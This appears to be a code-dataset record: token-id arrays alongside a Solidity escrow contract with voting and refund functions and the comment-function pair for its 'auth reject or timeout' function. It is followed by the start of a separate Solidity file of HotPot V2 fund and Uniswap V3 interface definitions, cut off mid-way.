[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 490, 5127, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 1071, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 445, 490, 5127, 1435, 1071, 288, 203, 3639, 3273, 273, 315, 30062, 14432, 203, 3639, 508, 273, 315, 2320, 49, 5128, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 1381, 2787, 9449, 380, 1728, 636, 11890, 12, 31734, 1769, 203, 3639, 324, 26488, 63, 8443, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 12279, 12, 2867, 12, 20, 3631, 3410, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 5381, 1135, 261, 11890, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 225, 300, 324, 26488, 63, 2867, 12, 20, 13, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 1147, 5541, 13, 1071, 5381, 1135, 261, 11890, 11013, 13, 288, 203, 3639, 327, 324, 26488, 63, 2316, 5541, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 7412, 12, 2867, 358, 16, 2254, 2430, 13, 1071, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 2 ]
pragma solidity ^0.5.11; pragma experimental ABIEncoderV2; contract STOEscrowBox { address public authCertVoucherLedgerAddress; address public userCertVoucherLedgerAddress; struct Vote { bool _created; bool _passed; bool _executed; bool _cancelled; uint256 _voteNum; address _ledger; uint256 _value; address _from; address _to; bytes _calldata; } mapping(bytes32 => Vote) public voteMap; uint256 public authNum; event ProposeCreated (bytes32 indexed _id); event ProposePassed (bytes32 indexed _id); event ProposeExecuted (bytes32 indexed _id); event ProposeCancelled (bytes32 indexed _id); constructor(address _authCertVoucherLedgerAddress, address _userCertVoucherLedgerAddress) public { authNum = 1; authCertVoucherLedgerAddress = _authCertVoucherLedgerAddress; userCertVoucherLedgerAddress = _userCertVoucherLedgerAddress; } function setAuthNum (uint256 _authNum) public returns (bool) { require(msg.sender == address(this)); authNum = _authNum; return true; } function setAuthCertVoucherLedgerAddress (address _addr) public returns (bool) { require(msg.sender == address(this)); authCertVoucherLedgerAddress = _addr; return true; } function setUserCertVoucherLedgerAddress (address _addr) public returns (bool) { require(msg.sender == address(this)); userCertVoucherLedgerAddress = _addr; return true; } function getLedgerBalanceHumanNumber (address _ledgerAddress, address _holderAddress) public view returns (uint256) { (bool _success, bytes memory _returnData1) = _ledgerAddress.staticcall( abi.encodeWithSelector( bytes4(keccak256(bytes("balanceOf(address)"))), _holderAddress)); require(_success); (uint256 _balance) = abi.decode(_returnData1, (uint256)); return _balance; } function encodePropose (uint256 _value, address _from, uint256 _mode, bytes memory _data) public pure returns (bytes memory) { return abi.encodeWithSelector( bytes4(keccak256(bytes("propose(uint256,address,uint256,bytes)"))), _value, _from, _mode, _data); } function decodePropose (bytes memory __data) public pure returns (uint256 _value, address _from, uint256 _mode, bytes memory _data) { (_value, _from, _mode, _data) = abi.decode(__data, (uint256, address, uint256, bytes)); } function encodeCallData (bytes32 _voteHash, address _to, bytes memory _calldata) public pure returns (bytes memory) { return abi.encode(_voteHash, _to, _calldata); } function decodeCallData (bytes memory _data) public pure returns (bytes32 _voteHash, address _to, bytes memory _calldata) { (_voteHash, _to, _calldata) = abi.decode(_data, (bytes32, address, bytes)); } // anyone holds userCert proposes function mode_0 (address _ledger, uint256 _value, address _from, bytes memory _data) private returns (bool) { require( getLedgerBalanceHumanNumber(userCertVoucherLedgerAddress, _from) > 0 || getLedgerBalanceHumanNumber(authCertVoucherLedgerAddress, _from) > 0); (bytes32 _voteHash, address _to, bytes memory _calldata) = abi.decode(_data, (bytes32, address, bytes)); Vote storage _voteObj = voteMap[_voteHash]; require(_voteObj._created == false); _voteObj._created = true; _voteObj._voteNum = 0; _voteObj._ledger = _ledger; _voteObj._value = _value; _voteObj._from = _from; _voteObj._to = _to; _voteObj._calldata = _calldata; emit ProposeCreated(_voteHash); return true; } // auth accept function mode_1 (address _ledger, uint256 _value, address _from, bytes memory _data) private returns (bool) { require(getLedgerBalanceHumanNumber(authCertVoucherLedgerAddress, _from) > 0); (bytes32 _voteHash,,) = abi.decode(_data, (bytes32, address, bytes)); Vote storage _voteObj = voteMap[_voteHash]; require(_voteObj._voteNum <= authNum && _voteObj._passed == false && _voteObj._cancelled == false); _voteObj._voteNum++; if (_voteObj._voteNum == authNum) { (bool success1,) = _voteObj._to.call(_voteObj._calldata); require(success1); _voteObj._passed = true; emit ProposePassed(_voteHash); (bool success2,) = address(this).call( abi.encodeWithSelector( bytes4(keccak256(bytes("finalise(bytes32)"))), _voteHash)); require(success2); } return true; } // auth reject or timeout function mode_2 (address _ledger, uint256 _value, address _from, bytes memory _data) private returns (bool) { require(getLedgerBalanceHumanNumber(authCertVoucherLedgerAddress, _from) > 0); (bytes32 _voteHash,,) = abi.decode(_data, (bytes32, address, bytes)); Vote storage _voteObj = voteMap[_voteHash]; require(_voteObj._voteNum <= authNum && _voteObj._passed == false && _voteObj._cancelled == false); (bool success1,) = _voteObj._ledger.call( abi.encodeWithSelector( bytes4(keccak256(bytes("transfer(address,uint256)"))), _voteObj._from, _voteObj._value)); require(success1); (bool success2,) = address(this).call( abi.encodeWithSelector( bytes4(keccak256(bytes("cancel(bytes32)"))), _voteHash)); require(success2); return true; } function propose (uint256 _value, address _from, uint256 _mode, bytes calldata _data) external returns (bool) { if (_mode == 0) { require(mode_0(msg.sender, _value, _from, _data)); } return true; } function negotiate (uint256 _value, address _from, uint256 _mode, bytes calldata _data) external returns (bool) { if (_mode == 1) { require(mode_1(msg.sender, _value, _from, _data)); } if (_mode == 2) { require(mode_2(msg.sender, _value, _from, _data)); } return true; } function finalise (bytes32 _voteHash) external returns (bool) { require(msg.sender == address(this)); Vote storage _voteObj = voteMap[_voteHash]; _voteObj._executed = true; emit ProposeExecuted(_voteHash); return true; } function cancel (bytes32 _voteHash) external returns (bool) { require(msg.sender == address(this)); Vote storage _voteObj = voteMap[_voteHash]; _voteObj._cancelled = true; emit ProposeCancelled(_voteHash); return true; } }
auth reject or timeout
function mode_2 (address _ledger, uint256 _value, address _from, bytes memory _data) private returns (bool) { require(getLedgerBalanceHumanNumber(authCertVoucherLedgerAddress, _from) > 0); (bytes32 _voteHash,,) = abi.decode(_data, (bytes32, address, bytes)); Vote storage _voteObj = voteMap[_voteHash]; require(_voteObj._voteNum <= authNum && _voteObj._passed == false && _voteObj._cancelled == false); (bool success1,) = _voteObj._ledger.call( abi.encodeWithSelector( bytes4(keccak256(bytes("transfer(address,uint256)"))), _voteObj._from, _voteObj._value)); require(success1); (bool success2,) = address(this).call( abi.encodeWithSelector( bytes4(keccak256(bytes("cancel(bytes32)"))), _voteHash)); require(success2); return true; }
7,281,355
[ 1, 1944, 4925, 578, 2021, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1965, 67, 22, 261, 2867, 389, 1259, 693, 16, 2254, 5034, 389, 1132, 16, 1758, 389, 2080, 16, 1731, 3778, 389, 892, 13, 3238, 1135, 261, 6430, 13, 288, 203, 3639, 2583, 12, 588, 28731, 13937, 28201, 1854, 12, 1944, 5461, 19585, 28731, 1887, 16, 389, 2080, 13, 405, 374, 1769, 203, 203, 3639, 261, 3890, 1578, 389, 25911, 2310, 16408, 13, 273, 24126, 18, 3922, 24899, 892, 16, 261, 3890, 1578, 16, 1758, 16, 1731, 10019, 203, 203, 3639, 27540, 2502, 389, 25911, 2675, 273, 12501, 863, 63, 67, 25911, 2310, 15533, 203, 203, 3639, 2583, 24899, 25911, 2675, 6315, 25911, 2578, 1648, 1357, 2578, 597, 389, 25911, 2675, 6315, 23603, 422, 629, 597, 389, 25911, 2675, 6315, 10996, 1259, 422, 629, 1769, 203, 203, 3639, 261, 6430, 2216, 21, 16, 13, 273, 389, 25911, 2675, 6315, 1259, 693, 18, 1991, 12, 203, 5411, 24126, 18, 3015, 1190, 4320, 12, 203, 7734, 1731, 24, 12, 79, 24410, 581, 5034, 12, 3890, 2932, 13866, 12, 2867, 16, 11890, 5034, 2225, 3719, 3631, 203, 7734, 389, 25911, 2675, 6315, 2080, 16, 389, 25911, 2675, 6315, 1132, 10019, 203, 3639, 2583, 12, 4768, 21, 1769, 203, 203, 3639, 261, 6430, 2216, 22, 16, 13, 273, 1758, 12, 2211, 2934, 1991, 12, 203, 5411, 24126, 18, 3015, 1190, 4320, 12, 203, 7734, 1731, 24, 12, 79, 24410, 581, 5034, 12, 3890, 2932, 10996, 12, 3890, 1578, 2225, 3719, 3631, 203, 7734, 389, 25911, 2310, 10019, 203, 3639, 2583, 12, 4768, 22, 1769, 203, 203, 3639, 2 ]
pragma solidity =0.7.6; pragma abicoder v2; // File: contracts/interfaces/IHotPotV2FundFactory.sol /// @title The interface for the HotPotFunds V2 Factory /// @notice The HotPotFunds V2 Factory facilitates creation of HotPotFunds V2 funds interface IHotPotV2FundFactory { /// @notice Emitted when a fund is created /// @param manager The manager address of fund /// @param token Deposit or withdrawal token supported by the fund /// @param fund The fund is created event FundCreated( address indexed manager, address indexed token, address indexed fund ); /// @notice Returns the address of WETH9 function WETH9() external view returns (address); /// @notice Returns the address of the Uniswap V3 factory function uniV3Factory() external view returns (address); /// @notice Returns the address of the Uniswap V3 router function uniV3Router() external view returns (address); /// @notice fund controller function controller() external view returns(address); /// @notice Returns the fund address for a given manager and a token, or address 0 if it does not exist /// @dev a manager+token mapping a fund /// @param manager 管理基金的经理地址 /// @param token 管理的代币 /// @return fund 基金地址 function getFund(address manager, address token) external view returns (address fund); /// @notice Creates a fund for the given manager and token // / @param manager 基金的manager /// @param token 管理的token /// @param descriptor 基金名称+描述 /// @return fund 基金地址 function createFund(address token, bytes32 descriptor) external returns (address fund); } // File: contracts/interfaces/fund/IHotPotV2FundManagerActions.sol /// @notice 基金经理操作接口定义 interface IHotPotV2FundManagerActions { /// @notice 设置代币交易路径 /// @dev This function can only be called by controller /// @dev 设置路径时不能修改为0地址,且path路径里的token必须验证是否受信任 /// @param distToken 目标代币地址 /// @param buy 购买路径(本币->distToken) /// @param sell 销售路径(distToken->本币) function setPath( address distToken, bytes memory buy, bytes memory sell ) external; /// @notice 初始化头寸, 允许投资额为0. /// @dev This function can only be called by controller /// @param token0 token0 地址 /// @param token1 token1 地址 /// @param fee 手续费率 /// @param tickLower 价格刻度下届 /// @param tickUpper 价格刻度上届 /// @param amount 初始化投入金额,允许为0, 为0表示仅初始化头寸,不作实质性投资 function init( address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint amount ) external; /// @notice 投资指定头寸,可选复投手续费 /// @dev This function can only be called by controller /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param amount 投资金额 /// @param collect 是否收集已产生的手续费并复投 function add( uint poolIndex, uint positionIndex, uint amount, bool collect ) external; /// @notice 撤资指定头寸 /// @dev This function can only be called by controller /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param proportionX128 撤资比例,左移128位; 允许为0,为0表示只收集手续费 function sub( uint poolIndex, uint positionIndex, uint proportionX128 ) external; /// @notice 调整头寸投资 /// @dev This function can only be called by controller /// @param poolIndex 池子索引号 /// @param subIndex 要移除的头寸索引号 /// @param addIndex 要添加的头寸索引号 /// @param proportionX128 调整比例,左移128位 function move( uint poolIndex, uint subIndex, uint addIndex, uint proportionX128 //以前是按LP数量移除,现在改成按总比例移除,这样前端就不用管实际LP是多少了 ) external; } // File: contracts/interfaces/controller/IManagerActions.sol /// @title 控制器合约基金经理操作接口定义 interface IManagerActions { /// @notice 设置代币交易路径 /// @dev This function can only be called by manager /// @dev 设置路径时不能修改为0地址,且path路径里的token必须验证是否受信任 /// @param fund 基金地址 /// @param distToken 目标代币地址 /// @param path 符合uniswap v3格式的交易路径 function setPath( address fund, address distToken, bytes memory path ) external; /// @notice 初始化头寸, 允许投资额为0. /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param token0 token0 地址 /// @param token1 token1 地址 /// @param fee 手续费率 /// @param tickLower 价格刻度下届 /// @param tickUpper 价格刻度上届 /// @param amount 初始化投入金额,允许为0, 为0表示仅初始化头寸,不作实质性投资 function init( address fund, address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint amount ) external; /// @notice 投资指定头寸,可选复投手续费 /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param amount 投资金额 /// @param collect 是否收集已产生的手续费并复投 function add( address fund, uint poolIndex, uint positionIndex, uint amount, bool collect ) external; /// @notice 撤资指定头寸 /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @param proportionX128 撤资比例,左移128位; 允许为0,为0表示只收集手续费 function sub( address fund, uint poolIndex, uint positionIndex, uint proportionX128 ) external; /// @notice 调整头寸投资 /// @dev This function can only be called by manager /// @param fund 基金地址 /// @param poolIndex 池子索引号 /// @param subIndex 要移除的头寸索引号 /// @param addIndex 要添加的头寸索引号 /// @param proportionX128 调整比例,左移128位 function move( address fund, uint poolIndex, uint subIndex, uint addIndex, uint proportionX128 ) external; } // File: contracts/interfaces/controller/IGovernanceActions.sol /// @title 治理操作接口定义 interface IGovernanceActions { /// @notice Change governance /// @dev This function can only be called by governance /// @param account 新的governance地址 function setGovernance(address account) external; /// @notice Set the token to be verified for all fund, vice versa /// @dev This function can only be called by governance /// @param token 目标代币 /// @param isVerified 是否受信任 function setVerifiedToken(address token, bool isVerified) external; /// @notice Set the swap path for harvest /// @dev This function can only be called by governance /// @param token 目标代币 /// @param path 路径 function setHarvestPath(address token, bytes memory path) external; } // File: contracts/interfaces/controller/IControllerState.sol /// @title HotPotV2Controller 状态变量及只读函数 interface IControllerState { /// @notice Returns the address of the Uniswap V3 router function uniV3Router() external view returns (address); /// @notice Returns the address of the Uniswap V3 facotry function uniV3Factory() external view returns (address); /// @notice 本项目治理代币HPT的地址 function hotpot() external view returns (address); /// @notice 治理账户地址 function governance() external view returns (address); /// @notice Returns the address of WETH9 function WETH9() external view returns (address); /// @notice 代币是否受信任 /// @dev The call will revert if the the token argument is address 0. /// @param token 要查询的代币地址 function verifiedToken(address token) external view returns (bool); /// @notice harvest时交易路径 /// @param token 要兑换的代币 function harvestPath(address token) external view returns (bytes memory); } // File: contracts/interfaces/controller/IControllerEvents.sol /// @title HotPotV2Controller 事件接口定义 interface IControllerEvents { /// @notice 当设置受信任token时触发 event ChangeVerifiedToken(address indexed token, bool isVerified); /// @notice 当调用Harvest时触发 event Harvest(address indexed token, uint amount, uint burned); /// @notice 当调用setHarvestPath时触发 event SetHarvestPath(address indexed token, bytes path); /// @notice 当调用setGovernance时触发 event SetGovernance(address indexed account); /// @notice 当调用setPath时触发 event SetPath(address indexed fund, address indexed distToken, bytes path); } // File: contracts/interfaces/IHotPotV2FundController.sol /// @title Hotpot V2 控制合约接口定义. /// @notice 基金经理和治理均需通过控制合约进行操作. interface IHotPotV2FundController is IManagerActions, IGovernanceActions, IControllerState, IControllerEvents { /// @notice 基金分成全部用于销毁HPT /// @dev 任何人都可以调用本函数 /// @param token 用于销毁时购买HPT的代币类型 /// @param amount 代币数量 /// @return burned 销毁数量 function harvest(address token, uint amount) external returns(uint burned); } // File: contracts/interfaces/IHotPotV2FundDeployer.sol /// @title An interface for a contract that is capable of deploying Hotpot V2 Funds /// @notice A contract that constructs a fund must implement this to pass arguments to the fund /// @dev This is used to avoid having constructor arguments in the fund contract, which results in the init code hash /// of the fund being constant allowing the CREATE2 address of the fund to be cheaply computed on-chain interface IHotPotV2FundDeployer { /// @notice Get the parameters to be used in constructing the fund, set transiently during fund creation. /// @dev Called by the fund constructor to fetch the parameters of the fund /// Returns controller The controller address /// Returns manager The manager address of this fund /// Returns token The local token address /// Returns descriptor 32 bytes string descriptor, 8 bytes manager name + 24 bytes brief description function parameters() external view returns ( address weth9, address uniV3Factory, address uniswapV3Router, address controller, address manager, address token, bytes32 descriptor ); } // File: @uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol /// @title Callback for IUniswapV3PoolActions#mint /// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface interface IUniswapV3MintCallback { /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint. /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external; } // File: @uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol /// @title The interface for the Uniswap V3 Factory /// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees interface IUniswapV3Factory { /// @notice Emitted when the owner of the factory is changed /// @param oldOwner The owner before the owner was changed /// @param newOwner The owner after the owner was changed event OwnerChanged(address indexed oldOwner, address indexed newOwner); /// @notice Emitted when a pool is created /// @param token0 The first token of the pool by address sort order /// @param token1 The second token of the pool by address sort order /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks /// @param pool The address of the created pool event PoolCreated( address indexed token0, address indexed token1, uint24 indexed fee, int24 tickSpacing, address pool ); /// @notice Emitted when a new fee amount is enabled for pool creation via the factory /// @param fee The enabled fee, denominated in hundredths of a bip /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing); /// @notice Returns the current owner of the factory /// @dev Can be changed by the current owner via setOwner /// @return The address of the factory owner function owner() external view returns (address); /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee /// @return The tick spacing function feeAmountTickSpacing(uint24 fee) external view returns (int24); /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order /// @param tokenA The contract address of either token0 or token1 /// @param tokenB The contract address of the other token /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip /// @return pool The pool address function getPool( address tokenA, address tokenB, uint24 fee ) external view returns (address pool); /// @notice Creates a pool for the given two tokens and fee /// @param tokenA One of the two tokens in the desired pool /// @param tokenB The other of the two tokens in the desired pool /// @param fee The desired fee for the pool /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments /// are invalid. /// @return pool The address of the newly created pool function createPool( address tokenA, address tokenB, uint24 fee ) external returns (address pool); /// @notice Updates the owner of the factory /// @dev Must be called by the current owner /// @param _owner The new owner of the factory function setOwner(address _owner) external; /// @notice Enables a fee amount with the given tickSpacing /// @dev Fee amounts may never be removed once enabled /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6) /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount function enableFeeAmount(uint24 fee, int24 tickSpacing) external; } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolImmutables.sol /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface /// @return The contract address function factory() external view returns (address); /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6 /// @return The fee function fee() external view returns (uint24); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); /// @notice The maximum amount of position liquidity that can use any tick in the range /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool /// @return The max amount of liquidity per tick function maxLiquidityPerTick() external view returns (uint128); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolState.sol /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // File: @uniswap/v3-core/contracts/interfaces/pool/IUniswapV3PoolActions.sol /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 